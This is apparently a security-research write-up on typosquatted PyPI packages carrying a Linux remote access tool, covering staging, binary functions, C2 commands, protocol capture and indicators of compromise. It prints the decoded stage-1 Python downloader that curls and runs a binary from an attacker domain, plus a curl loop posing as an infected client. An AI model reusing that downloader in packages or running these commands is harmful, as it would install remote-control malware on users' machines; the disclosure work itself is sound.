· threat intelligence · 8 min read
Novel ELF64 Remote Access Tool Embedded in Malicious PyPI Uploads
Analyzing a Linux-targeted malware campaign on the Python Package Index.
Introduction
On 19 February, Vipyr Security scanning services notified us of a malicious upload to the Python Package Index (PyPI) by
the name real-ids
. This Python package, and subsequent uploads attributed to the same threat actor, contains ‘remote
access tool’ capabilities— that is, remote code execution, remote file upload and download, and a beaconing service to
an HTTPS-based C2.
Malicious Packages:
Package | Upload Time (UTC) |
---|---|
[email protected] | 2024-02-19T13:47Z |
[email protected] | 2024-02-19T13:52Z |
[email protected] | 2024-02-20T01:43Z |
[email protected] | 2024-02-20T02:24Z |
[email protected] | 2024-02-20T02:30Z |
[email protected] | 2024-02-20T07:27Z (Benign) |
[email protected] | 2024-02-20T08:55Z |
[email protected] | 2024-02-20T11:17Z |
[email protected] | 2024-02-21T12:51Z (Benign) |
[email protected] | 2024-02-28T12:43Z |
Analysis
Staging
The malicious payload is placed in os.py
files within typos of popular packages. During the initialization of these
packages, this os
module is imported, executing the payload. Payload occurs in a string of multiple base64
or hex encoding, although base64 was only observed in [email protected]
. The threat actors’ obfuscation technique is
fairly novice compared to others, as they don’t make any attempt to try and circumvent our detection mechanisms each
iteration.
Hex-encoded stage 1 payload
platform = sys.platform[0:1]
print(sys.argv[0])
if platform != "w":
try:
url = 'hxxps://arcashop.org/boards.php?type=' + platform
local_filename = os.environ['HOME'] + '/oshelper'
os.system("curl --silent " + url + " --cookie 'oshelper_session=10237477354732022837433' --output " + local_filename)
sleep(3)
os.system("chmod +x " + local_filename)
os.system(local_filename + " > /dev/null 2>&1 &")
except ZeroDivisionError as error:
sleep(0)
finally:
sleep(0)
Stage 1 payload after decoding
The payload is downloaded from the pypi[.]online
or arcashop[.]org
domain. cURL
is invoked with os.system
with
the oshelper_session
cookie set to 10237477354732022837433
. Interestingly, the malware seems to only target Linux
systems. If the platform is set to Windows, it will not execute.
The two endpoints are both in a similar format, with the differences being the domain name and PHP file name. In both
examples, the URL ends with the parameter type
, which should always be l
for the Linux platform.
hxxps://pypi[.]online/cloud.php?type=
hxxps://arcashop[.]org/boards.php?type=
These endpoints were resistant to many of our attempts to download the payload, even when accessing from mobile, residential, cloud, and business/education IP addresses. We’re still unsure how we got a payload to fall out, as it seemed to happen by chance.
Binary analysis
The payload itself is an ELF binary targeting the x86_64 CPU architecture. The binary appears to have statically linked
libcurl
, but isn’t stripped, so we can still view the function names!
- XEncoding: An XOR encryption and decryption function with a custom key.
- AcceptRequest: Retrieves commands from the C2, decrypts them and performs actions.
- FConnectProxy: Resolves user parameters for
SendPost
function and time seeds random sources. - SendPost: Primary function to send and receive data.
During the analysis, the following headers were discovered:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Connection: Keep-Alive
With these headers, the data is sent in the following format:
lkjyhnmiop=%s&odldjshrn=%s&ikdiwoep=%s
If the request is unsuccessful, it will log the error to /tmp/xweb_log.md
:
The commands uncovered during the analysis are a simple set of commands allowing the adversary to upload files, download files, check if an agent is alive, make the agent wait 4 hours, and run commands & retrieve the output from them.
- Ping1 (
0x892
): Send a ‘Success’ response to the C2 and wait 4 hours before polling the C2 again
- Ping2 (
0x895
): Send a ‘Success’ response to the C2 and poll for another command instantly
- MsgDown (
0x893
): Upload files
- MsgUp (
0x894
): Download files
- MsgCmd (
0x898
): Run command with commandline%s 2>&1 &
and send results back to the C2
- MsgRun (
0x897
): Run command with commandline%s 2>&1 &
and do not send results to the C2
Simple analysis of the protocol used to communicate to the C2 reveals it uses libcurl
to perform http requests.
The payload will respond with two codes back to the API:
0x89a
: Success0x89b
: Failure
The payload will beacon to hxxps://jdkgradle[.]com/jdk/update/check
every 100 seconds to receive commands from the C2.
Here’s a snippet of a packet capture we took while analyzing the malware.
C2 Activity Analysis
To further analyze the intentions of the threat actors, we decided to log commands from the C2. There were three ways that we could go about this: binary patching, implementing the C2 protocol, or debugging. Since we’d not done extensive analysis on the C2 protocol and binary patching is generally a hard thing to do, we chose to debug the binary.
Since we wanted to extract any decrypted C2 payload responses, we chose to break just after the RecvPayload()
function
was called in the AcceptRequest()
function. After some extra testing, we decided we wanted to extract the responses
that the client was sending back to the server, so we chose to break at the SendPayload()
function too.
To extract the decrypted payload, all we needed to do was print the first argument of the RecvPayload()
call, which
would be populated with the decrypted payload. We can find this linked to the rbx
register at instruction
0x00404f3c
. For SendPayload()
, since symbols weren’t stripped from the binary, we only needed to refer to the symbol
SendPayload
.
To do this, we wrote the following gdb
script and ran it with gdb ./local_file --command=script.gdb
.
break *SendPayload
commands
p *$rdi
c
end
break *0x00404f4f
commands
x/128x $rbx
c
end
set logging on
r
To date, we have only observed the command 0x892
, which translates to the Ping1
command and the 2202
client
response, or 0x89a
, which translates to the ‘Success’ response.
After running this and waiting for for the C2 to beacon again, we had another look at the code for AcceptRequest()
function and found it waited 4 hours each time. This prompted us to patch this particular branch and multiply the sleep
time by 0
instead of 60
(0x3c
), which made it much easier for us to monitor the agent in real time.
C2 Protocol Analysis
To analyze the network traffic, which was encrypted over SSL, we set up Burp Suite as a proxy to capture the underlying
HTTP requests from the agent. The Burp Suite setup was simple, as we only had the free version, and we only changed the
target to jdkgradle[.]com
, so we could capture server responses. To forward requests through the Burp Suite proxy, the
https_proxy
environment variable was used. Since the backend was cURL
, we knew it would check for proxy environment
variables before sending each request and send it via the proxy. By default, it didn’t seem to check the authenticity of
the server certificate either, which allowed us to MITM with ease.
After watching the traffic for some time, we gathered a general overview of the C2 protocol:
# Initial connection
Agent -> C2: lkjyhnmiop=<ID>&odldjshrn=odlsjdfhw&ikdiwoep=<something?> (hello im alive)
C2 -> Agent: OK (success)
Agent -> C2: lkjyhnmiop=<ID>&odldjshrn=dsaewqfewf (give me commands)
C2 -> Agent: <base64 encoded command>
Agent -> C2: lkjyhnmiop=1059787080&odldjshrn=content&ikdiwoep=<base64 encoded command response>
During the testing, we could see the debug output as the network requests happened, and we were able to associate certain activity with the network requests.
This is why setting the target was important, as capturing server responses would be crucial, and it would allow us to
arbitrarily decode payloads received from the C2 through other means, such as using cURL
to simulate the client. With
this script, we can simulate a fake client to pull commands from the C2. This allows us to log commands, including their
payloads, to a text file for later review.
rm -f /tmp/log.txt
while [ 1 ]; do
curl --silent -k hxxps://jdkgradle[.]com/jdk/update/check \
-A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.36" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Accept: image/gif, image/x-bitmap, image/jpeg, image/pjepg, application/x-shockwave-flash, */*" \
-d 'lkjyhnmiop=689321559&odldjshrn=odlsjdfhw&ikdiwoep=dUxxZhprM15UCmB%2B'
RESP=$(
curl --silent -k hxxps://jdkgradle[.]com/jdk/update/check \
-A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.36" \
-H "Content-Type: application/x-www-form-urlencoded" -H "Accept: image/gif, image/x-bitmap, image/jpeg, image/pjepg, application/x-shockwave-flash, */*" \
-d 'lkjyhnmiop=689321559&odldjshrn=dsaewqfewf'
)
echo $(echo $RESP | md5sum):$RESP | tee -a /tmp/log.txt
done
Closing Remarks
All packages have been reported to and removed by the PyPI administrators. A special thanks to our friends at Phylum for helping us with the initial payload, security administrators at PyPI for their rapid handling of our reports, and Vipyr Security community contributors for the reversal and analysis of the malicious code.
Appendix
Indicators of Compromise (IoCs)
[
{
"type": "file",
"path": "/home/*/oshelper",
"sha256": "973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c",
"md5": "33c9a47debdb07824c6c51e13740bdfe"
},
{
"type": "file",
"path": "/tmp/xweb_log.md",
"sha256": null,
"md5": null
},
{
"type": "domain",
"name": "pypi[.]online"
},
{
"type": "domain",
"name": "arcashop[.]org"
},
{
"type": "domain",
"name": "jdkgradle[.]com"
}
]